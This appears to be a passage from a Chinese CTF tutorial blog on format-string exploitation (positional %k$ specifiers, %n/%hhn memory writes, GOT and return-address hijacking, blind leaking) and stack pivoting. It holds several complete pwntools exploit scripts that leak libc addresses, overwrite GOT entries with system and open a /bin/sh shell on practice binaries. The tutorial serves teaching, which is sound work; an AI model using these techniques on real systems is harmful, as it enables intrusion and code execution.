它将存储出现在 %n 之前的字符数量到对应的参数变量中,本身不会有任何显示;

如上图实际打印的内容是: “geeks for geeks” ;

且 %n 一般跑在gcc编译的c中,Windows上的编译器会有问题;

同样只能跑在 gcc 中的另类写法,也是格式化字符串利用的核心:

1
%3$x

用下面代码举例,上面的写法会打印出printf的第4个参数的hex形式,也就是c;

1
printf("%3$x",a,b,c,d);

3的意思是从格式化字符串开始往后算的第三个参数,x表示格式;

原理

在32位程序中,调用函数时,变量都是存在栈上的,比如当调用下示代码时,会有如此的栈格式:

1
printf("%3$x",a,b,c,d);

栈:

ebp-> 0xold_ebp //printf函数内部栈帧
0地址 0xretaddr //返回地址
1地址 0xstringaddr //格式化字符串 “%3$x” 地址
2地址 a
3地址 b
4地址 c
5地址 d

当然真实情况中,这些参数的顺序会有变化(一般就是这样),但是可以通过调试确定下来;

格式化字符串符号 % 的作用就是:读取栈中这些变量的内容,对应的将其打印出来;

第一个%打印第一个参数,第二个%打印第二个参数,也就是栈中的a,b;

当然用特殊的写法可打印对应的参数的内容;

泄露内存

利用 %k$p 获取数据内容,利用 %k$s 获取指针指向的内容,利用 [AimAddr]%k$s 获取指定地址处的内容;

泄露栈变量内存

考虑如下代码:

1
printf("%2$x");

它没有跟参数能这样写吗?

答案是可以,拿上面用表格画的栈图来说,此时它的作用就是将3地址的内容以十六进制打印出来,尽管此时3地址里放的是奇怪的东西;

于是就可以先算出想要得到的 在main栈帧 里的数据对于地址1的间隔 k;

比如现在main中想得到其上级函数的ebp值,调试可知ebp的值存于 m地址 中,那么 k 就应该是:
$$
k = (m地址 - 1地址) / 指针长度
$$
指针长度即为对齐,32位是4,64位是8;

此时执行 printf("%k$p"); 便可得到main中储存的上级函数ebp的值;

这个k的数值,也同样是printf函数的第 k+1 个参数,因为1地址中存的是格式化字符串,也就是printf函数的第 1 个参数;

泄露以变量为指针指向的内存

还记得 %s 的作用吗,它会打印出以变量为指针所指的内容;

got表就是一个指针,对于在got表地址上的函数,其实都是指向其真实存在的地址的指针;

假设scanf在got中的地址就是0x12345678,那么利用如下代码,便可打印出 scanf 函数的真实地址:

1
printf("0x12345678%x%k$s");

当此格式化字符串在输出函数调用时是第 k+1个参数的时候,这么写,就能让 %k$s 去格式化 0x12345678 字符串,从而就能得到 0x12345678 指向的内容,进而打印出来得到 scanf 真正的地址;

但很多时候,第k + 1个参数是 “3456..” 或者干脆 “烫烫烫0x1234..” 诸如此类的;

意思是,它并没有对齐,所以当调试结果为上述情况时,请在0x12345678地址前添加垃圾信息,使得在 整数倍的 k + 1 上能够直接拿到 0x12345678 地址,进而使得后面的特殊写法打印出该地址指向的内容;

获取栈中指定指针内存就没那么麻烦了,正如泄露变量内存一样的写法,只是将p改为s;

覆盖内存

这个时候,%n会帮大忙,它可以将其对应参数视为指针,以int型填入在%n前面的字符数量;

所以当知道要覆盖内存的地址,格式化字符串相对于输出函数的偏移就可以进行覆盖了;

具体格式如下:

1
printf("...[AimAddr]...%k$n");

如上的…为垃圾内容负责填充 AimAddr 的对齐,k要找到 AimAddr的位置,后面的…是为了与前面的字符一起扩展成想要的长度,使其填入 AimAddr 中;

覆盖小数字

此时要把 AimAddr 放在 %n 的后面,这样能控制填入的数据始终可以小于4;

具体格式如下:

1
printf("...%k$n...[AimAddr]");

此时…的作用就反转了,前面的是控制写入的数,后者为控制地址的对齐;

覆盖大数字

可以用 … 来扩展很长很长,但会使得程序的性能变低,出来的速度下降;

以 %hhn 来写,可以使得填入变量的类型为字节,以 %hn 来写,可以使得填入变量的类型为双字;

由此可以控制单个字节的覆盖;

而一个int型是需要占4个字节的,那么分别填入单字节内容,使其最后呈现出大数字的效果就行;

比如:c变量的地址为:[c],而想对其填入0x12345678则其内存中应该是如此分布的:

地址 存储
[c] 0x78
[c+1] 0x56
[c+2] 0x34
[c+3] 0x12

x86为小端序存储;

那么对应printf中的内容应该是这样的:

1
printf("...[c][c+1][c+2][c+3]...%k$hhn...%k+1$hhn...%k+2$hhn...%k+3$hhn");

使得k能找到[c]的位置,且控制 %k$hhn 前面的数量为 0x78 ,而第二个%hhn的控制数量应该是 0x156,因为只能增大,不能减小,但是填入的是一个字节的内容,所以只会填入 0x56,后面同理;

基本用法

用题来举例;

goodluck

看IDA的main函数:

main

可以看的出来整个程序逻辑为,输入后和远程服务器的flag文件比较,仅此而已;

但是它会用printf泄露出输入的内容,所以可以想到用格式化字符串的方法泄露v10的信息;

因为程序是x64,所以函数存放参数的话,是先放在前6个寄存器中,多余的参数放在栈上,所以寻找到合适的栈偏移后,需要加上6;

gdb

如上图,这是在printf函数内部,此时的栈图rsp刚刚指向返回地址,那么下面的就都可以看成是 “参数” 了;

可以看到构造的flag文件的内容被放到了rsp往下第四个,加上前6个参数,这算作printf函数的第10个参数,所以在邪路时,写为:

1
"%9$s"

用指针方式读出该flag;

解题脚本如下:

1
2
3
4
5
6
7
8
from pwn import *

p = process('./goodluck')

payload = '%9$s'
p.recvuntil("what's the flag\n")
p.sendline(payload)
print(p.recv())

hijack GOT

未开启 RELRO 保护(Partial RELRO)的程序是可以修改 GOT 表的;

那么可以覆盖System地址给目标函数的地址到got表,此时执行目标函数也就是执行System函数了;

一般步骤:

  1. 获取目标函数的got表地址:IDA查询;

  2. 获取System函数的内存地址:通过泄露计算;

  3. 写入:运用ROP或者write函数或者%n覆盖;

    1
    2
    3
    4
    //此时目标函数为printf
    pop eax; ret; # printf@got -> eax
    pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
    add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset

看题:

查看IDA代码:

main

主函数一开始有个比较密码,这个逆向还原就行;

接下来是模拟shell,可以输入三种命令:put get dir,分别创建 file_head ,打印content,打印 file_head;

这个题里不存在栈溢出,所以没办法ret,但却是 partial relro,且有格式化字符串漏洞;

所以可以把puts的got表作为指针修改为System地址去执行,因为两个参数类型数量也一样,满足调用约定;

则binsh字符串写入file_head中,格式化字符串漏洞的内容写入content;

此时可以通过格式化字符串漏洞泄露出printf got表地址,从而得到system函数地址;

具体思路:

  1. 通过密码;
  2. 执行put,写入任意和字符串漏洞内容;
  3. 执行get,泄露system地址;
  4. 执行put,写入字符串漏洞%n覆盖got表指向地址;
  5. 执行get,完成got表覆盖;
  6. 再次执行put,写入binsh字符串;
  7. 执行dir,完成攻击;

首先通过调试把字符串漏洞的偏移确定下来为8;也就是 %7$s

通过代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

p = process('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc

printfgot = elf.got['printf']
putsgot = elf.got['puts']

#输入密码
p.recvuntil("Name (ftp.hacker.server:Rainism):")
p.sendline('rxraclhm')

#执行put泄露地址
p.sendline('put')
p.sendline(b'\x00haha')
p.sendline(p32(printfgot) + b'%7$s')

#执行get
p.sendline('get')
p.recv()
p.sendline(b'\x00haha')

#泄露printf地址并计算system地址
printf_addr = u32(p.recv()[4:8])
libc.address = printf_addr - libc.symbols['printf']
system = libc.symbols['system']

#执行put覆盖地址
p.sendline('put')
p.sendline(b'\x001122')
#pwntools自行构建覆盖payload,7是字符串相对于第一个参数偏移
payload = fmtstr_payload(7,{putsgot:system})
p.sendline(payload)

#再次执行get
p.sendline('get')
p.sendline(b'\x001122')

#最后一次执行put
p.sendline('put')
p.sendline(b'/bin/sh')
p.sendline('deadbeaf')

#执行dir实现攻击
p.recv()
p.sendline('dir')
p.interactive()

至于为什么前两次发送 file_head 的时候要加\X00,是因为最后执行system(s)的时候,s会有bug,不加00的话,最后的结果是三串字符串连接在一起,导致system找不到路径;

hijack retaddr

最重要的思想:通过rbp取栈地址;

查看IDA:

main

上面是main函数,一开始会让输入账户和密码,也就是register函数,同时是两个可以利用的缓冲区;

进入choice函数后,和上道题一样,有三个选择,其中edit是重新写入账户密码,show是两次字符串漏洞,quit是执行一个puts函数;

但这道题开启了RELRO保护,所以不能和上道题一样改变puts的got表,所以思想是覆盖返回地址;

返回地址在栈上,既然要覆盖它,就必须拿到栈上的地址,那么rbp存储的内容就很值得推敲了;

在show中拥有两次字符串漏洞,分别展示之前输入的账户和密码:

1
2
3
4
5
6
int __fastcall sub_400B07(int a1, int a2, int a3, int a4, int a5, int a6, char format, int a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&format);
return printf((const char *)&a9 + 4);
}

在此程序的地址:0x4008AA处,会发现一个system(“/bin/sh”)的调用,那么可以利用字符串漏洞覆盖返回地址为该地址;

输入se和ss并在return的printf处打下断点并查看栈图:

stack

可以看到printf的第三个参数是输入的账号,第一排为printf的返回地址,而第二个参数是show函数的返回地址,如下方汇编所示;

第一个参数是show函数的rbp指向,则旧rbp值也是指向栈的,所以可以利用旧rbp值来进行便宜计算,拿到返回地址的地址;
$$
c0 - 80 - 8 = 38
$$
则用旧rbp值减去0x38便可以得到返回choice函数地址的地址;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res


p = process('./pwnme_k0')

#第一次账号密码
p.sendline(b'Aanyway')
p.recv()
p.sendline(b'%6$p')
p.recv()

#show1用于泄露返回地址的地址
p.sendline(b'1')
retaddr = p.recv()[8:22]
retaddr = b2i(retaddr,22 - 8) - 0x38
print(hex(retaddr))

#edit第二次账号密码
p.sendline(b'2')
p.recv()
p.sendline(p64(retaddr))
p.recv()
#2218对应十六进制08AA,用hn覆盖低两个字节,因为再往上的字节实际上都是40一样的
p.sendline(b'%2218d%8$hn')
p.recv()

#show2用于返回shell
p.sendline(b'1')
p.recv()
p.interactive()

字符串盲打

字如其名,手里没有可逆向的文件,只能靠格式化字符串输入来获取远程文件的信息以攻占shell;

一般来说有如下步骤:

  • 确定程序位数
  • 确定漏洞位置
  • 利用

栈泄露

查看题目输入%p查看多少位:

aim

此图的上半部分展示了它是64位的程序;

且它有提示告知了:flag is on the stack;

那么就循环输入%p一直查看栈上的内容,正如上图的下半部分所示即可得出flag;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#把格式化输出的地址转化为int类型的函数
def b2i(b,len):
i = len
j = 0

new_c = [0] * i
for j in range(i):
new_c[i - j - 1] = b[j]

j -= 2
res = 0
for i in range(j+1):
if (new_c[i] > 47) & (new_c[i] < 60):
res += pow(16,i) * (new_c[i] - 48)
elif (new_c[i] > 96) & (new_c[i] < 103):
res += pow(16,i) * (new_c[i] - 87)

return res

for i in range(100):
p = process('./blind')
payload = b'%%%d$p' % i
p.sendline(payload)
data = p.recv()[:18]
if data.startswith(b'0x'):
print(p64(b2i(data,18)))
p.close()

劫持got

依然是查看位数和确定字符串偏移:

blind

此时的偏移就有用了,因为要劫持got;

如图可知,偏移为:6,也就是%6$p;

程序一般是从0x400000开始,要劫持got表就需要知道got内容,所以直接用字符串漏洞的方法泄露整个程序的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

def leak(addr):
num = 0
#不断地开启关闭程序会有bug的时候,所以泄露三次
while num < 3:
try:
print('leak addr: ' + hex(addr))
p = process('./blind')
#偏移为多少,第一个便用多少+2
payload = b'%00008$s' + b'STARTEND' + p64(addr)
# 说明有\n,出现新的一行
if b'\x0a' in payload:
return None
p.sendline(payload)
data = p.recvuntil(b'STARTEND', drop=True)
p.close()
return data
except Exception:
num += 1
continue
return None


addr = 0x400000
f = open('binary','w')
while addr < 0x401000:
data = leak(addr)
if data is None:
f.write('\xff')
addr += 1
elif len(data) == 0:
f.write('\x00')
addr += 1
else:
f.write(str(data))
addr += len(data)

通用格式,直接套就行,使用之后便可得到原程序binary;

之后分析binary:

main

看得出整个程序非常简单;

可以知道的是无法利用栈溢出;

若要劫持got表也只有printf函数的;

所以思路是:

  • 泄露printf自身函数地址并计算出system;
  • 覆盖got表;
  • 输入binsh执行system函数成功攻击;

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p = process('./blind')
elf = ELF('./blind')
libc = elf.libc

printfgot = elf.got['printf']

#第一次输入载入so中printf
payload = b'123'
p.sendline(payload)
p.recv()

#第二次输入泄漏printf,got地址写后面,不然会因为其高地址为0被截断
payload = b'%00008$s' + b'\x00aaaaaaa' +p64(printfgot)
p.sendline(payload)
printfaddr = p.recv()
#8位地址的高位是0,会被格式化%s截断,调试得高位有两字节为0
printfaddr += b'\x00\x00'
printfaddr = u64(printfaddr)

#计算system
libc.address = printfaddr - libc.symbols['printf']
system = libc.symbols['system']
system = p64(system)

#第三次输入覆盖
payload = fmtstr_payload(6, {printfgot: system})
p.sendline(payload)
p.recv()

#第四次输入执行system
p.sendline('/bin/sh')
p.interactive()
阅读全文
栈迁移

详细见:栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)

其实际上的作用就是控制esp指向已构造好的payload区(覆盖量不够的情况,可先构造好一段payload到特定的内存段上);

原理

利用栈平衡的操作;

32位调用函数时,会有如下操作发生:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//第一步:操作执行流
push eip+4 //保存函数返回地址入栈
mov eip, Func //执行流进入函数
---
//第二步:构造新栈帧
push ebp //保存上层函数栈底ebp
mov ebp, esp //将ebp指向旧ebp的值,也是此函数的栈底
add esp, xxh //增长栈顶构成新栈帧
---
//第三步:还原上层栈帧形态 Leave
mov esp, ebp //让esp重新指向此函数的栈底
pop ebp //将此时esp指向的旧ebp值弹出给ebp,此时ebp指向旧栈底,且esp指向ret的地址
//retn
pop eip //将此时ret地址的值弹出给执行流,此时esp指向旧栈顶

第三步的即为第二部的逆运算,可以称这步为Leave,如果能够劫持在函数里的旧ebp值,就可以使得 pop ebp 到一个可控的地方,栈顶的位置是由ebp的值而控制:mov esp,ebp;从而可能影响esp,从而控制进程流;

流程

如下图所示:

current

意思是在Leave中,需要颠倒1,2行的内容;

如何颠倒,很简单,用gadget思想;

即首先控制旧ebp和ret地址,让ret地址返回到新的一组Leave中去,此时可以把esp的值控制为第一次的ebp的值,使得栈顶转移到另一处内存空间,达成栈迁移;

执行流程:

  1. 使用gadget寻找新一组的Leave地址:NewLeaveAddr,以及目标栈顶位置:AimAddr;
  2. 覆盖旧址ebp为 AimAddr-4 (64位-8,因为第二次执行Leave时,会再次pop ebp,使得esp下降,即往高地址走一格)
  3. 覆盖ret地址为 NewLeaveAddr;

执行之后,新的栈顶指向AimAddr(此时还未执行pop eip),栈底指向AimAddr-4处的数值;

运用情况

这个技术运用于栈溢出返回字节不够时的情况,此时只用覆盖ebp和ret地址就行;

能够使用该技术的情景:

  1. 存在leave ret gadget;
  2. 存在可执行 payload 的内存段;

一般而言,能执行shellcode的地方直接ret就行了,不需要这么复杂,不能执行指令的片段上,此时需要运用在栈上,使得控制的栈帧介于输入的变量缓冲区上,把可覆盖区域尽量拉长,利用已填写的 payload 再次实现经典栈溢出;

使用实例

code

上图为一个栈帧,此时最左侧为变量数组下标0处,也是控制esp指向的目标位置;

  1. 确定旧ebp与该变量的偏移,因为可以通过格式化字符串泄露旧ebp内容,从而动态地计算出此时此刻变量在栈中的地址:AimAddr;
  2. 找到gadget NewLeaveAddr,此时覆盖ebp处为变量地址,ret地址为gadget地址;
  3. 可知当执行之后,esp会减少一格到此变量下标1处,且此时(pop eip)即ret还没执行;

聪明如你,当现在的情况即是执行ret的时刻,那么后面的内容也就是传统栈溢出所需要填充的内容了;

这个时候就可以在变量上面直接地填写,不需要在变量溢出后填写;

阅读全文